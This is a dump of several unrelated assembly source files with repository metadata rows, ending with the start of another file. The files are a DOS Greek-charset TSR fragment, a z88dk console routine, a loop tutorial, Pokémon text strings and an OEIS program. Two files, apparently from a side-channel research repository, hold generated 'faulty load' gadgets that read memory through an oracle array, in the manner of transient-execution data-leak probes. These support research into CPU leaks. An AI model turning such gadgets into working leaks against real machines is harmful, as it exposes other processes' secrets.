db 'HELLAS ver. 1.03 * Copyright (c) 1989-2019 by Tony G. Papadimitriou',CR,LF
db 'The Greek character set for CGA has been installed.',CR,LF
db 'The hot key is ALT-G.',CR,LF,'$'
install endp
Print proc
push ax
push dx
mov ah,9h
int 21h
pop dx
pop ax
ret
Print endp
code ends
end entry
| 28.464539
| 85
| 0.608197
|
9f0e2d750b1d6f28062662ba53c32c40ae2a7eb4
| 263
|
asm
|
Assembly
|
libsrc/target/altair8800/stdio/fputc_cons_native.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/target/altair8800/stdio/fputc_cons_native.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/target/altair8800/stdio/fputc_cons_native.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
PUBLIC fputc_cons_native
PUBLIC _fputc_cons_native
fputc_cons_native:
_fputc_cons_native:
ld hl,2
add hl,sp
ld a,(hl)
ld l,a
cp 10
jr nz,wait
ld l,13
call wait
ld l,10
wait:
in a,(0)
and 128
jr nz,wait
ld a,l
out (1),a
ret
| 10.115385
| 26
| 0.695817
|
a685a20e92c1bb32d2007c7bd6f481b767e32253
| 323
|
asm
|
Assembly
|
code/5/loop.asm
|
GeekHades1/AssemblyCode
|
4078d97d8e31093ff7b54b72869f77e340b98391
|
[
"BSD-2-Clause"
] | 1
|
2018-07-11T12:35:45.000Z
|
2018-07-11T12:35:45.000Z
|
code/5/loop.asm
|
GeekHades1/AssemblyCode
|
4078d97d8e31093ff7b54b72869f77e340b98391
|
[
"BSD-2-Clause"
] | null | null | null |
code/5/loop.asm
|
GeekHades1/AssemblyCode
|
4078d97d8e31093ff7b54b72869f77e340b98391
|
[
"BSD-2-Clause"
] | null | null | null |
; loop指令的用法需要结合cx寄存器
; loop 标号, CPU执行loop指令的时候,要进行两步操作
; 1、(cx) = (cx) - 1. 2、判断cx的值是否为0,否则继续执行loop
; 现在演示2 ^ 12 与 loop 结合的计算程序
assume cs:codesg
codesg segment
mov ax, 2
mov cx, 11 ; 因为这里要执行11次的 ax+ax
s: add ax, ax ; 相当于算术左移
loop s ; 进行循环判断
codesg ends
end
| 24.846154
| 51
| 0.572755
|
fbaac81e875055732450ccf2d079d3e25ad44c79
| 7,777
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1446.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1446.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1446.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x12c5e, %rsi
lea addresses_UC_ht+0x1696e, %rdi
nop
nop
xor $51891, %r8
mov $41, %rcx
rep movsl
nop
sub %rdx, %rdx
lea addresses_WT_ht+0x816e, %rsi
lea addresses_A_ht+0xa5ce, %rdi
nop
sub $64719, %rdx
mov $74, %rcx
rep movsq
sub %rdx, %rdx
lea addresses_WC_ht+0x199d4, %rsi
nop
nop
nop
dec %r12
movb (%rsi), %r8b
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x1e59e, %r12
nop
nop
nop
and $20294, %r13
mov (%r12), %rsi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_normal_ht+0x1556e, %rsi
lea addresses_UC_ht+0x1ba30, %rdi
clflush (%rsi)
nop
nop
nop
nop
and %r8, %r8
mov $20, %rcx
rep movsw
nop
nop
nop
sub $44780, %r12
lea addresses_A_ht+0x1648e, %rcx
dec %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
movups %xmm2, (%rcx)
nop
xor $54711, %rcx
lea addresses_A_ht+0x1388e, %rdi
and %rsi, %rsi
mov (%rdi), %r8d
nop
and %rcx, %rcx
lea addresses_A_ht+0x1a36e, %rdx
nop
nop
nop
nop
and $4530, %rsi
movups (%rdx), %xmm5
vpextrq $0, %xmm5, %r13
and %r12, %r12
lea addresses_WT_ht+0x1c146, %rsi
lea addresses_D_ht+0x1b716, %rdi
nop
nop
nop
nop
inc %r14
mov $40, %rcx
rep movsb
nop
nop
nop
nop
nop
lfence
lea addresses_WT_ht+0x3d56, %rcx
clflush (%rcx)
inc %r13
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %rdx
nop
nop
nop
cmp $60210, %rdi
lea addresses_WT_ht+0x2d6e, %rdx
nop
nop
sub $4977, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rdx)
inc %rdx
lea addresses_UC_ht+0x6d6e, %rdx
nop
cmp $10398, %r8
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%rdx)
cmp $14990, %r14
lea addresses_normal_ht+0xe87b, %rsi
lea addresses_A_ht+0x3bee, %rdi
nop
nop
nop
cmp $53338, %r8
mov $35, %rcx
rep movsq
add $23582, %r12
lea addresses_normal_ht+0x9bae, %r13
nop
nop
nop
and $43161, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
movups %xmm3, (%r13)
nop
nop
add $37901, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0x1560e, %r9
nop
nop
nop
dec %r15
movw $0x5152, (%r9)
nop
cmp %rdi, %rdi
// Faulty Load
lea addresses_normal+0xb16e, %r12
sub %rsi, %rsi
mov (%r12), %dx
lea oracles, %r15
and $0xff, %rdx
shlq $12, %rdx
mov (%r15,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 36.172093
| 2,999
| 0.657966
|
1c79b62048fbe6e55267d96b73fa89f01dd844d7
| 975
|
asm
|
Assembly
|
data/pokemon/characteristics.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | 2
|
2022-02-17T11:11:03.000Z
|
2022-02-21T03:41:01.000Z
|
data/pokemon/characteristics.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
data/pokemon/characteristics.asm
|
AtmaBuster/pokeplat-gen2-old
|
01e42c55db5408d72d89133dc84a46c699d849ad
|
[
"blessing"
] | null | null | null |
CharacteristicStrings:
dw .HP0
dw .HP1
dw .HP2
dw .HP3
dw .HP4
dw .Atk0
dw .Atk1
dw .Atk2
dw .Atk3
dw .Atk4
dw .Def0
dw .Def1
dw .Def2
dw .Def3
dw .Def4
dw .Spd0
dw .Spd1
dw .Spd2
dw .Spd3
dw .Spd4
dw .Spc0
dw .Spc1
dw .Spc2
dw .Spc3
dw .Spc4
.HP0: db "Loves to eat@"
.HP1: db "Often dozes off@"
.HP2: db "Scatters things@"
.HP3: db "Scatters around@"
.HP4: db "Likes to relax@"
.Atk0: db "Proud of its power@"
.Atk1: db "Thrashes about@"
.Atk2: db "Quick tempered@"
.Atk3: db "Likes to fight@"
.Atk4: db "Quick tempered@"
.Def0: db "Sturdy body@"
.Def1: db "Can take some hits@"
.Def2: db "Highly persistent@"
.Def3: db "Good endurance@"
.Def4: db "Good perseverance@"
.Spd0: db "Likes to run@"
.Spd1: db "Alert to sounds@"
.Spd2: db "Carelss and silly@"
.Spd3: db "A bit of a clown@"
.Spd4: db "Quick to flee@"
.Spc0: db "Highly curious@"
.Spc1: db "Mischievous@"
.Spc2: db "Strongly defiant@"
.Spc3: db "Hates to lose@"
.Spc4: db "Very finicky@"
| 18.396226
| 31
| 0.648205
|
28261230d39731dd00349c49bd7f4ee4c714e51c
| 1,802
|
asm
|
Assembly
|
programs/oeis/055/A055273.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/055/A055273.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/055/A055273.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A055273: a(n) = 3*a(n-1) - a(n-2) with a(0) = 1, a(1) = 8.
; 1,8,23,61,160,419,1097,2872,7519,19685,51536,134923,353233,924776,2421095,6338509,16594432,43444787,113739929,297775000,779585071,2040980213,5343355568,13989086491,36623903905,95882625224,251023971767,657189290077,1720543898464,4504442405315,11792783317481,30873907547128,80828939323903,211612910424581,554009791949840,1450416465424939,3797239604324977,9941302347549992,26026667438324999,68138699967425005,178389432463950016,467029597424425043,1222699359809325113,3201068482003550296,8380506086201325775,21940449776600427029,57440843243599955312,150382079954199438907,393705396618998361409,1030734109902795645320,2698496933089388574551,7064756689365370078333,18495773135006721660448,48422562715654794903011,126771915011957663048585,331893182320218194242744,868907631948696919679647,2274829713525872564796197,5955581508628920774708944,15591914812360889759330635,40820162928453748503282961,106868573973000355750518248,279785558990547318748271783,732488102998641600494297101,1917678750005377482734619520,5020548147017490847709561459,13143965691047095060394064857,34411348926123794333472633112,90090081087324287940023834479,235858894335849069486598870325,617486601920222920519772776496,1616600911424819692072719459163,4232316132354236155698385600993,11080347485637888775022437343816,29008726324559430169368926430455,75945831488040401733084341947549,198828768139561775029884099412192,520540472930644923356567956289027,1362792650652372995039819769454889,3567837479026474061762891352075640,9340719786427049190248854286772031,24454321880254673508983671508240453,64022245854336971336702160237949328,167612415682756240501122809205607531,438815001193931750166666267378873265
mov $1,1
mov $2,6
lpb $0
sub $0,1
add $2,$1
add $1,$2
lpe
mov $0,$1
| 150.166667
| 1,665
| 0.91121
|
c6ec1513a188c87ffff7bd4ab6c3c3b3e639ea76
| 7,411
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_16690_844.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_16690_844.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_16690_844.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x14e8f, %r15
nop
nop
nop
sub $61556, %r13
movl $0x61626364, (%r15)
nop
nop
nop
nop
nop
sub $10404, %rcx
lea addresses_UC_ht+0x1a48f, %rsi
lea addresses_normal_ht+0x908f, %rdi
nop
nop
nop
nop
nop
sub %r8, %r8
mov $37, %rcx
rep movsq
nop
nop
nop
sub %r13, %r13
lea addresses_WT_ht+0x1230f, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $29304, %rcx
movb (%rdi), %r8b
nop
sub $53867, %rdi
lea addresses_D_ht+0x1308f, %r15
nop
nop
nop
nop
nop
inc %r11
mov (%r15), %si
nop
nop
nop
add %r13, %r13
lea addresses_WT_ht+0x76bc, %r15
nop
nop
nop
nop
and %r11, %r11
movups (%r15), %xmm7
vpextrq $1, %xmm7, %rdi
nop
nop
nop
add $3842, %rsi
lea addresses_normal_ht+0x1ea8f, %r13
nop
nop
nop
nop
lfence
mov (%r13), %edi
nop
and $30553, %r11
lea addresses_normal_ht+0xf17b, %r15
nop
nop
nop
dec %rdi
mov (%r15), %rcx
nop
nop
nop
xor %r8, %r8
lea addresses_A_ht+0x278f, %r11
nop
nop
sub %r8, %r8
mov (%r11), %r13
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0x1e209, %r13
clflush (%r13)
sub $715, %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm1
movups %xmm1, (%r13)
nop
and $62199, %r13
lea addresses_UC_ht+0x4b4f, %rdi
nop
nop
and $41999, %r15
mov (%rdi), %rsi
nop
xor $19020, %r13
lea addresses_UC_ht+0x7eef, %rsi
lea addresses_WT_ht+0xa18f, %rdi
nop
and %r12, %r12
mov $63, %rcx
rep movsb
nop
nop
cmp $21091, %r13
lea addresses_WC_ht+0x1327b, %rsi
lea addresses_normal_ht+0xfe8f, %rdi
dec %r12
mov $116, %rcx
rep movsl
xor %r15, %r15
lea addresses_A_ht+0x868b, %rsi
lea addresses_D_ht+0x17e8f, %rdi
cmp $47748, %r12
mov $29, %rcx
rep movsw
and $58201, %rsi
lea addresses_D_ht+0xe2f, %rsi
lea addresses_UC_ht+0x12e8f, %rdi
nop
nop
nop
add $2162, %r13
mov $127, %rcx
rep movsw
nop
nop
nop
nop
and %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rbp
push %rbx
// Faulty Load
lea addresses_RW+0x4e8f, %rbx
and $21634, %rbp
mov (%rbx), %r12w
lea oracles, %r8
and $0xff, %r12
shlq $12, %r12
mov (%r8,%r12,1), %r12
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}}
{'32': 16690}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 36.15122
| 2,999
| 0.657131
|
1893d766dbd574ccf267f1c8cdeb4131d16d04bd
| 286
|
asm
|
Assembly
|
programs/oeis/084/A084631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/084/A084631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/084/A084631.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A084631: Floor(C(n+8,8)/C(n+2,2)).
; 1,3,7,16,33,61,107,178,286,442,663,969,1384,1938,2664,3605,4807,6325,8222,10571,13455,16965,21206,26295,32364,39556,48032,57970,69564,83028,98595,116522,137085,160585,187349,217730,252109,290895,334529,383484
add $0,8
bin $0,6
mul $0,2
div $0,56
| 35.75
| 210
| 0.734266
|
b9fff3684c96e40273cbc27448614a356271cadd
| 499
|
asm
|
Assembly
|
software/profi/net-tools/src/pqdos/browser/gopher/engine/media-processor.asm
|
andykarpov/karabas-pro
|
11d897e51a7a66fddcdfb97fc7b785ca535d48dd
|
[
"MIT"
] | 26
|
2020-07-25T15:00:32.000Z
|
2022-03-22T19:30:04.000Z
|
software/profi/net-tools/src/pqdos/browser/gopher/engine/media-processor.asm
|
zxrepo/andykarpov.karabas-pro
|
